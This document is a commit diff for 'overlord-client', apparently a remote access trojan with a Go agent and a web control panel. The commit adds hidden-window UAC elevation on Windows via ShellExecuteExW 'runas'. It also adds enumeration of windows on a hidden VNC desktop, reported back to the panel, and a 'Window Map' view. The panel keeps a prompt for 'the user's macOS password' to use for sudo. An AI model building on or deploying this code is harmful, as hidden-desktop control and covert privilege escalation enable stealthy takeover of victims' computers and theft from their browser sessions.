add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc).
This commit is contained in:
@@ -104,8 +104,9 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ
|
||||
}
|
||||
defer procCloseHandle.Call(hProc)
|
||||
|
||||
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
|
||||
ret, _, _ := procWaitForSingleObject.Call(hProc, 20000)
|
||||
if ret != 0 {
|
||||
notify("healthy", true, fmt.Sprintf("%s (PID %d) still running after 20s", label, pid))
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -1967,3 +1967,161 @@ func minInt(a, b int) int {
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
var (
|
||||
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||
procGetWindowTextLenW = user32.NewProc("GetWindowTextLengthW")
|
||||
)
|
||||
|
||||
type HVNCWindowInfo struct {
|
||||
HWND uintptr
|
||||
Title string
|
||||
X int
|
||||
Y int
|
||||
Width int
|
||||
Height int
|
||||
PID uint32
|
||||
ProcessName string
|
||||
Monitor int // -1 if not on any known monitor
|
||||
Visible bool
|
||||
}
|
||||
|
||||
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
hvncDesktopMu.Lock()
|
||||
deskHandle := hvncDesktopHandle
|
||||
hvncDesktopMu.Unlock()
|
||||
if deskHandle == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
mons := monitorList()
|
||||
monInfos := make([]HVNCMonitorInfo, len(mons))
|
||||
for i, m := range mons {
|
||||
monInfos[i] = HVNCMonitorInfo{
|
||||
Index: i,
|
||||
Name: m.name,
|
||||
X: m.rect.Min.X,
|
||||
Y: m.rect.Min.Y,
|
||||
Width: m.rect.Dx(),
|
||||
Height: m.rect.Dy(),
|
||||
Primary: m.primary,
|
||||
}
|
||||
}
|
||||
|
||||
type rawWin struct {
|
||||
hwnd uintptr
|
||||
}
|
||||
var windows []rawWin
|
||||
|
||||
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
||||
windows = append(windows, rawWin{hwnd: hwnd})
|
||||
return 1
|
||||
})
|
||||
procEnumDesktopWindows.Call(deskHandle, cb, 0)
|
||||
|
||||
var result []HVNCWindowInfo
|
||||
for _, w := range windows {
|
||||
if !isWindowVisible(w.hwnd) {
|
||||
continue
|
||||
}
|
||||
var r rect
|
||||
ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r)))
|
||||
if ok == 0 {
|
||||
continue
|
||||
}
|
||||
winW := int(r.right - r.left)
|
||||
winH := int(r.bottom - r.top)
|
||||
if winW <= 0 || winH <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
title := getWindowText(w.hwnd)
|
||||
if title == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
var pid uint32
|
||||
procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||
|
||||
procName := ""
|
||||
if pid != 0 {
|
||||
procName = getProcessName(pid)
|
||||
}
|
||||
|
||||
winLeft := int(r.left)
|
||||
winTop := int(r.top)
|
||||
monIdx := -1
|
||||
bestOverlap := 0
|
||||
for i, m := range mons {
|
||||
overlapLeft := maxInt(winLeft, m.rect.Min.X)
|
||||
overlapTop := maxInt(winTop, m.rect.Min.Y)
|
||||
overlapRight := minInt(winLeft+winW, m.rect.Max.X)
|
||||
overlapBottom := minInt(winTop+winH, m.rect.Max.Y)
|
||||
if overlapRight > overlapLeft && overlapBottom > overlapTop {
|
||||
area := (overlapRight - overlapLeft) * (overlapBottom - overlapTop)
|
||||
if area > bestOverlap {
|
||||
bestOverlap = area
|
||||
monIdx = i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
result = append(result, HVNCWindowInfo{
|
||||
HWND: w.hwnd,
|
||||
Title: title,
|
||||
X: winLeft,
|
||||
Y: winTop,
|
||||
Width: winW,
|
||||
Height: winH,
|
||||
PID: pid,
|
||||
ProcessName: procName,
|
||||
Monitor: monIdx,
|
||||
Visible: true,
|
||||
})
|
||||
}
|
||||
return result, monInfos
|
||||
}
|
||||
|
||||
type HVNCMonitorInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
X int
|
||||
Y int
|
||||
Width int
|
||||
Height int
|
||||
Primary bool
|
||||
}
|
||||
|
||||
func getWindowText(hwnd uintptr) string {
|
||||
length, _, _ := procGetWindowTextLenW.Call(hwnd)
|
||||
if length == 0 {
|
||||
return ""
|
||||
}
|
||||
buf := make([]uint16, length+1)
|
||||
procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
|
||||
return syscall.UTF16ToString(buf)
|
||||
}
|
||||
|
||||
func getProcessName(pid uint32) string {
|
||||
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||
hProc, _, _ := procOpenProcess.Call(PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid))
|
||||
if hProc == 0 {
|
||||
return ""
|
||||
}
|
||||
defer procCloseHandle.Call(hProc)
|
||||
var buf [260]uint16
|
||||
size := uint32(len(buf))
|
||||
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
|
||||
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return ""
|
||||
}
|
||||
fullPath := syscall.UTF16ToString(buf[:size])
|
||||
for i := len(fullPath) - 1; i >= 0; i-- {
|
||||
if fullPath[i] == '\\' || fullPath[i] == '/' {
|
||||
return fullPath[i+1:]
|
||||
}
|
||||
}
|
||||
return fullPath
|
||||
}
|
||||
|
||||
@@ -1554,6 +1554,45 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_window_list":
|
||||
log.Printf("hvnc: window list requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_window_list", nil, func() {
|
||||
windows, monitors := capture.HVNCEnumWindows()
|
||||
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||
for _, w := range windows {
|
||||
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||
Title: w.Title,
|
||||
X: w.X,
|
||||
Y: w.Y,
|
||||
Width: w.Width,
|
||||
Height: w.Height,
|
||||
PID: w.PID,
|
||||
ProcessName: w.ProcessName,
|
||||
Monitor: w.Monitor,
|
||||
})
|
||||
}
|
||||
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||
for _, m := range monitors {
|
||||
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||
Index: m.Index,
|
||||
Name: m.Name,
|
||||
X: m.X,
|
||||
Y: m.Y,
|
||||
Width: m.Width,
|
||||
Height: m.Height,
|
||||
Primary: m.Primary,
|
||||
})
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||
Type: "hvnc_window_list_result",
|
||||
Windows: winEntries,
|
||||
Monitors: monEntries,
|
||||
})
|
||||
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_browser_check":
|
||||
log.Printf("hvnc: browser availability check requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
@@ -76,6 +77,7 @@ func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, pas
|
||||
})
|
||||
}
|
||||
|
||||
mutex.ReleaseGlobal()
|
||||
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
|
||||
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !darwin
|
||||
//go:build !darwin && !windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
//go:build windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
var (
|
||||
modShell32 = windows.NewLazySystemDLL("shell32.dll")
|
||||
procShellExecute = modShell32.NewProc("ShellExecuteExW")
|
||||
)
|
||||
|
||||
const (
|
||||
_SEE_MASK_NOCLOSEPROCESS = 0x00000040
|
||||
_SEE_MASK_NOASYNC = 0x00000100
|
||||
_SW_SHOWNORMAL = 1
|
||||
_SW_HIDE = 0
|
||||
)
|
||||
|
||||
type shellExecuteInfo struct {
|
||||
cbSize uint32
|
||||
fMask uint32
|
||||
hwnd uintptr
|
||||
lpVerb *uint16
|
||||
lpFile *uint16
|
||||
lpParameters *uint16
|
||||
lpDirectory *uint16
|
||||
nShow int32
|
||||
hInstApp uintptr
|
||||
lpIDList uintptr
|
||||
lpClass *uint16
|
||||
hkeyClass uintptr
|
||||
dwHotKey uint32
|
||||
hIcon uintptr
|
||||
hProcess uintptr
|
||||
}
|
||||
|
||||
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||
token := windows.GetCurrentProcessToken()
|
||||
if token.IsElevated() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "already running as admin",
|
||||
})
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
args := strings.Join(os.Args[1:], " ")
|
||||
|
||||
verb, _ := windows.UTF16PtrFromString("runas")
|
||||
file, _ := windows.UTF16PtrFromString(exePath)
|
||||
params, _ := windows.UTF16PtrFromString(args)
|
||||
|
||||
sei := shellExecuteInfo{
|
||||
fMask: _SEE_MASK_NOCLOSEPROCESS | _SEE_MASK_NOASYNC,
|
||||
lpVerb: verb,
|
||||
lpFile: file,
|
||||
lpParameters: params,
|
||||
nShow: _SW_HIDE,
|
||||
}
|
||||
sei.cbSize = uint32(unsafe.Sizeof(sei))
|
||||
|
||||
r1, _, err := procShellExecute.Call(uintptr(unsafe.Pointer(&sei)))
|
||||
if r1 == 0 {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("UAC elevation failed: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
mutex.ReleaseGlobal()
|
||||
log.Printf("[elevate] started elevated process via UAC")
|
||||
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "elevating — new process started as admin via UAC",
|
||||
})
|
||||
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
return nil
|
||||
}
|
||||
@@ -325,6 +325,33 @@ type HVNCBrowserLaunchStatus struct {
|
||||
Detail string `msgpack:"detail"`
|
||||
}
|
||||
|
||||
type HVNCWindowEntry struct {
|
||||
Title string `msgpack:"title"`
|
||||
X int `msgpack:"x"`
|
||||
Y int `msgpack:"y"`
|
||||
Width int `msgpack:"width"`
|
||||
Height int `msgpack:"height"`
|
||||
PID uint32 `msgpack:"pid"`
|
||||
ProcessName string `msgpack:"processName"`
|
||||
Monitor int `msgpack:"monitor"`
|
||||
}
|
||||
|
||||
type HVNCMonitorEntry struct {
|
||||
Index int `msgpack:"index"`
|
||||
Name string `msgpack:"name"`
|
||||
X int `msgpack:"x"`
|
||||
Y int `msgpack:"y"`
|
||||
Width int `msgpack:"width"`
|
||||
Height int `msgpack:"height"`
|
||||
Primary bool `msgpack:"primary"`
|
||||
}
|
||||
|
||||
type HVNCWindowListResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Windows []HVNCWindowEntry `msgpack:"windows"`
|
||||
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
|
||||
}
|
||||
|
||||
type ClipboardContent struct {
|
||||
Type string `msgpack:"type"`
|
||||
Text string `msgpack:"text"`
|
||||
|
||||
@@ -416,6 +416,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 15000);
|
||||
} else if (step === "healthy") {
|
||||
launchStatusIcon.className = "fa-solid fa-heart-pulse text-emerald-400";
|
||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||
launchStatusLabel.className = "text-emerald-300";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 10000);
|
||||
} else if (step === "launch") {
|
||||
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
|
||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||
@@ -485,7 +493,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
const installedAppsGrid = document.getElementById("installedAppsGrid");
|
||||
const installedAppsCount = document.getElementById("installedAppsCount");
|
||||
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
|
||||
const installedAppsSearch = document.getElementById("installedAppsSearch");
|
||||
const installedAppsSearchClear = document.getElementById("installedAppsSearchClear");
|
||||
const installedAppsEmpty = document.getElementById("installedAppsEmpty");
|
||||
let installedAppsData = [];
|
||||
let installedAppsQuery = "";
|
||||
|
||||
let installedAppsLoading_pending = false;
|
||||
|
||||
@@ -496,9 +508,75 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
if (installedAppsList) installedAppsList.classList.add("hidden");
|
||||
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
|
||||
if (installedAppsCount) installedAppsCount.textContent = "";
|
||||
if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden");
|
||||
sendCmd("hvnc_installed_apps", {});
|
||||
}
|
||||
|
||||
function applyInstalledAppsFilter() {
|
||||
if (!installedAppsGrid) return;
|
||||
const q = installedAppsQuery;
|
||||
let visible = 0;
|
||||
const buttons = Array.from(installedAppsGrid.children);
|
||||
|
||||
if (q) {
|
||||
const prefix = [];
|
||||
const contains = [];
|
||||
const hidden = [];
|
||||
for (const btn of buttons) {
|
||||
const key = btn.dataset.search || "";
|
||||
const name = (btn.dataset.name || "");
|
||||
if (name.startsWith(q) || key.startsWith(q)) {
|
||||
prefix.push(btn);
|
||||
} else if (key.indexOf(q) !== -1) {
|
||||
contains.push(btn);
|
||||
} else {
|
||||
hidden.push(btn);
|
||||
}
|
||||
}
|
||||
for (const btn of prefix) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
|
||||
for (const btn of contains) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
|
||||
for (const btn of hidden) { installedAppsGrid.appendChild(btn); btn.style.display = "none"; }
|
||||
visible = prefix.length + contains.length;
|
||||
} else {
|
||||
for (const btn of buttons) {
|
||||
btn.style.display = "";
|
||||
visible++;
|
||||
}
|
||||
}
|
||||
|
||||
if (installedAppsEmpty) {
|
||||
installedAppsEmpty.classList.toggle("hidden", !(q && visible === 0 && installedAppsData.length > 0));
|
||||
}
|
||||
if (installedAppsSearchClear) {
|
||||
installedAppsSearchClear.classList.toggle("hidden", !q);
|
||||
}
|
||||
}
|
||||
|
||||
if (installedAppsSearch) {
|
||||
installedAppsSearch.addEventListener("input", () => {
|
||||
installedAppsQuery = installedAppsSearch.value.trim().toLowerCase();
|
||||
applyInstalledAppsFilter();
|
||||
});
|
||||
installedAppsSearch.addEventListener("click", (e) => e.stopPropagation());
|
||||
installedAppsSearch.addEventListener("keydown", (e) => {
|
||||
if (e.key === "Escape") {
|
||||
installedAppsSearch.value = "";
|
||||
installedAppsQuery = "";
|
||||
applyInstalledAppsFilter();
|
||||
}
|
||||
e.stopPropagation();
|
||||
});
|
||||
}
|
||||
if (installedAppsSearchClear) {
|
||||
installedAppsSearchClear.addEventListener("click", (e) => {
|
||||
e.stopPropagation();
|
||||
if (installedAppsSearch) installedAppsSearch.value = "";
|
||||
installedAppsQuery = "";
|
||||
applyInstalledAppsFilter();
|
||||
if (installedAppsSearch) installedAppsSearch.focus();
|
||||
});
|
||||
}
|
||||
|
||||
if (refreshInstalledApps) {
|
||||
refreshInstalledApps.addEventListener("click", (e) => {
|
||||
e.stopPropagation();
|
||||
@@ -529,8 +607,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
|
||||
if (installedAppsData.length === 0) {
|
||||
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
|
||||
} else {
|
||||
installedAppsData.sort((a, b) => (a.name || "").localeCompare(b.name || "", undefined, { sensitivity: "base" }));
|
||||
installedAppsGrid.innerHTML = "";
|
||||
for (const app of installedAppsData) {
|
||||
appendAppButton(app);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
applyInstalledAppsFilter();
|
||||
}
|
||||
|
||||
function appendAppButton(app) {
|
||||
@@ -538,6 +624,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
btn.type = "button";
|
||||
btn.className = "installed-app-btn";
|
||||
btn.title = app.exePath || app.name;
|
||||
btn.dataset.search = ((app.name || "") + " " + (app.exePath || "")).toLowerCase();
|
||||
btn.dataset.name = (app.name || "").toLowerCase();
|
||||
if (installedAppsQuery && btn.dataset.search.indexOf(installedAppsQuery) === -1) {
|
||||
btn.style.display = "none";
|
||||
}
|
||||
|
||||
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
|
||||
const img = document.createElement("img");
|
||||
@@ -969,6 +1060,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
handleBrowserLaunchStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_window_list_result") {
|
||||
handleWindowListResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
handleHVNCError(msg);
|
||||
return;
|
||||
@@ -1457,6 +1552,136 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
}
|
||||
}
|
||||
|
||||
// ── Window Map ──────────────────────────────────────────────
|
||||
const windowMapBtn = document.getElementById("windowMapBtn");
|
||||
const windowMapModal = document.getElementById("windowMapModal");
|
||||
const windowMapCloseBtn = document.getElementById("windowMapCloseBtn");
|
||||
const windowMapRefreshBtn = document.getElementById("windowMapRefreshBtn");
|
||||
const windowMapCanvas = document.getElementById("windowMapCanvas");
|
||||
const windowMapList = document.getElementById("windowMapList");
|
||||
|
||||
const WINDOW_COLORS = [
|
||||
"#8b5cf6", "#3b82f6", "#10b981", "#f59e0b", "#ef4444",
|
||||
"#ec4899", "#06b6d4", "#84cc16", "#f97316", "#6366f1",
|
||||
];
|
||||
|
||||
function openWindowMap() {
|
||||
if (!windowMapModal) return;
|
||||
windowMapModal.style.display = "flex";
|
||||
sendCmd("hvnc_window_list", {});
|
||||
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading…</div>';
|
||||
if (windowMapList) windowMapList.innerHTML = "";
|
||||
}
|
||||
|
||||
function closeWindowMap() {
|
||||
if (windowMapModal) windowMapModal.style.display = "none";
|
||||
}
|
||||
|
||||
if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap);
|
||||
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
|
||||
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
|
||||
sendCmd("hvnc_window_list", {});
|
||||
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Refreshing…</div>';
|
||||
if (windowMapList) windowMapList.innerHTML = "";
|
||||
});
|
||||
if (windowMapModal) windowMapModal.addEventListener("click", (e) => {
|
||||
if (e.target === windowMapModal) closeWindowMap();
|
||||
});
|
||||
|
||||
function handleWindowListResult(msg) {
|
||||
const monitors = msg.monitors || [];
|
||||
const windows = msg.windows || [];
|
||||
|
||||
if (!windowMapCanvas || !windowMapList) return;
|
||||
|
||||
if (monitors.length === 0 && windows.length === 0) {
|
||||
windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm">No windows or monitors found</div>';
|
||||
windowMapList.innerHTML = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
let minX = Infinity, minY = Infinity, maxX = -Infinity, maxY = -Infinity;
|
||||
for (const m of monitors) {
|
||||
minX = Math.min(minX, m.x);
|
||||
minY = Math.min(minY, m.y);
|
||||
maxX = Math.max(maxX, m.x + m.width);
|
||||
maxY = Math.max(maxY, m.y + m.height);
|
||||
}
|
||||
for (const w of windows) {
|
||||
minX = Math.min(minX, w.x);
|
||||
minY = Math.min(minY, w.y);
|
||||
maxX = Math.max(maxX, w.x + w.width);
|
||||
maxY = Math.max(maxY, w.y + w.height);
|
||||
}
|
||||
if (!isFinite(minX)) { minX = 0; minY = 0; maxX = 1920; maxY = 1080; }
|
||||
|
||||
const totalW = maxX - minX || 1;
|
||||
const totalH = maxY - minY || 1;
|
||||
const containerW = windowMapCanvas.clientWidth || 800;
|
||||
const aspect = totalW / totalH;
|
||||
const mapH = Math.min(400, Math.max(180, containerW / aspect));
|
||||
const scale = Math.min(containerW / totalW, mapH / totalH) * 0.92;
|
||||
const padX = (containerW - totalW * scale) / 2;
|
||||
const padY = (mapH - totalH * scale) / 2;
|
||||
|
||||
function tx(x) { return padX + (x - minX) * scale; }
|
||||
function ty(y) { return padY + (y - minY) * scale; }
|
||||
function tw(w) { return w * scale; }
|
||||
|
||||
let html = "";
|
||||
windowMapCanvas.style.height = mapH + "px";
|
||||
|
||||
for (let i = 0; i < monitors.length; i++) {
|
||||
const m = monitors[i];
|
||||
const x = tx(m.x), y = ty(m.y), w = tw(m.width), h = tw(m.height);
|
||||
html += `<div class="absolute border-2 border-dashed border-slate-600 rounded" style="left:${x}px;top:${y}px;width:${w}px;height:${h}px;" title="Monitor ${m.index}: ${m.name} (${m.width}x${m.height})">
|
||||
<span class="absolute top-1 left-1.5 text-[10px] font-mono text-slate-500">${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index}</span>
|
||||
<span class="absolute bottom-1 right-1.5 text-[10px] font-mono text-slate-600">${m.width}×${m.height}</span>
|
||||
</div>`;
|
||||
}
|
||||
|
||||
for (let i = 0; i < windows.length; i++) {
|
||||
const w = windows[i];
|
||||
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
|
||||
const x = tx(w.x), y = ty(w.y), ww = Math.max(tw(w.width), 8), wh = Math.max(tw(w.height), 8);
|
||||
const shortTitle = w.title.length > 30 ? w.title.slice(0, 28) + "…" : w.title;
|
||||
html += `<div class="absolute rounded border overflow-hidden cursor-default" style="left:${x}px;top:${y}px;width:${ww}px;height:${wh}px;border-color:${color};background:${color}18;" title="${escHtml(w.title)}\n${w.processName} (PID ${w.pid})\nPosition: ${w.x},${w.y} Size: ${w.width}×${w.height}\nMonitor: ${w.monitor >= 0 ? w.monitor : "none"}">
|
||||
${wh > 20 && ww > 50 ? `<div class="px-1 py-0.5 text-[9px] font-mono text-slate-200 truncate" style="background:${color}50;">${escHtml(shortTitle)}</div>` : ""}
|
||||
</div>`;
|
||||
}
|
||||
|
||||
windowMapCanvas.innerHTML = html;
|
||||
|
||||
let listHtml = `<div class="grid gap-1">
|
||||
<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 px-2 py-1 text-[11px] uppercase tracking-wide text-slate-500 border-b border-slate-800">
|
||||
<span></span><span>Title</span><span>Process</span><span>Position</span><span>Monitor</span>
|
||||
</div>`;
|
||||
|
||||
for (let i = 0; i < windows.length; i++) {
|
||||
const w = windows[i];
|
||||
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
|
||||
const monLabel = w.monitor >= 0 ? (monitors[w.monitor] ? (monitors[w.monitor].name || "#" + w.monitor) : "#" + w.monitor) : "—";
|
||||
listHtml += `<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 items-center px-2 py-1.5 rounded hover:bg-slate-800/50 text-xs text-slate-300">
|
||||
<span class="w-2.5 h-2.5 rounded-sm" style="background:${color};"></span>
|
||||
<span class="truncate font-medium" title="${escHtml(w.title)}">${escHtml(w.title)}</span>
|
||||
<span class="font-mono text-slate-400">${escHtml(w.processName)} <span class="text-slate-600">(${w.pid})</span></span>
|
||||
<span class="font-mono text-slate-500">${w.x},${w.y} ${w.width}×${w.height}</span>
|
||||
<span class="font-mono ${w.monitor >= 0 ? "text-slate-300" : "text-rose-400"}">${monLabel}</span>
|
||||
</div>`;
|
||||
}
|
||||
listHtml += "</div>";
|
||||
|
||||
if (windows.length === 0) {
|
||||
listHtml = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
|
||||
}
|
||||
|
||||
windowMapList.innerHTML = listHtml;
|
||||
}
|
||||
|
||||
function escHtml(s) {
|
||||
return s.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """);
|
||||
}
|
||||
|
||||
connectWs();
|
||||
fetchClientInfo();
|
||||
})();
|
||||
|
||||
@@ -253,8 +253,9 @@ function applyMenuSupportRules(clientId) {
|
||||
|
||||
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
||||
if (elevateBtn) {
|
||||
elevateBtn.style.display = platform === "mac" ? "" : "none";
|
||||
if (platform === "mac") setAvailability(elevateBtn, isOnline, "Client is offline");
|
||||
const canElevate = platform === "mac" || platform === "windows";
|
||||
elevateBtn.style.display = canElevate ? "" : "none";
|
||||
if (canElevate) setAvailability(elevateBtn, isOnline, "Client is offline");
|
||||
}
|
||||
|
||||
setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline");
|
||||
@@ -1676,21 +1677,26 @@ menu.addEventListener("click", async (e) => {
|
||||
}
|
||||
|
||||
if (action === "elevate") {
|
||||
const password = prompt("Enter the user's macOS password for sudo elevation:");
|
||||
if (!password) {
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
const isMac = detectClientPlatform(contextCard) === "mac";
|
||||
let password = "";
|
||||
if (isMac) {
|
||||
password = prompt("Enter the user's macOS password for sudo elevation:");
|
||||
if (!password) {
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
const payload = { action: "elevate" };
|
||||
if (password) payload.password = password;
|
||||
const res = await fetch(`/api/clients/${contextCard}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "elevate", password }),
|
||||
body: JSON.stringify(payload),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (data.ok) {
|
||||
alert(data.message || "Elevation successful — client will reconnect as root.");
|
||||
// Stagger thumbnail requests to catch the client after it reconnects
|
||||
alert(data.message || "Elevation successful — client will reconnect elevated.");
|
||||
setTimeout(() => requestThumbnail(contextCard), 5000);
|
||||
setTimeout(() => requestThumbnail(contextCard), 10000);
|
||||
setTimeout(() => requestThumbnail(contextCard), 18000);
|
||||
|
||||
@@ -47,7 +47,7 @@ const MENU_GROUPS = [
|
||||
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
|
||||
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
|
||||
{ divider: true },
|
||||
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||
{ label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||
{ divider: true },
|
||||
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
|
||||
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
|
||||
|
||||
@@ -36,6 +36,9 @@
|
||||
<button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
|
||||
<i class="fa-solid fa-skull"></i><span>Kill All</span>
|
||||
</button>
|
||||
<button id="windowMapBtn" class="button ghost" title="Show window positions and monitor layout">
|
||||
<i class="fa-solid fa-map"></i><span>Window Map</span>
|
||||
</button>
|
||||
<button id="fullscreenBtn" class="button ghost">
|
||||
<i class="fa-solid fa-expand"></i><span>Fullscreen</span>
|
||||
</button>
|
||||
@@ -292,8 +295,21 @@
|
||||
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
|
||||
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
|
||||
</div>
|
||||
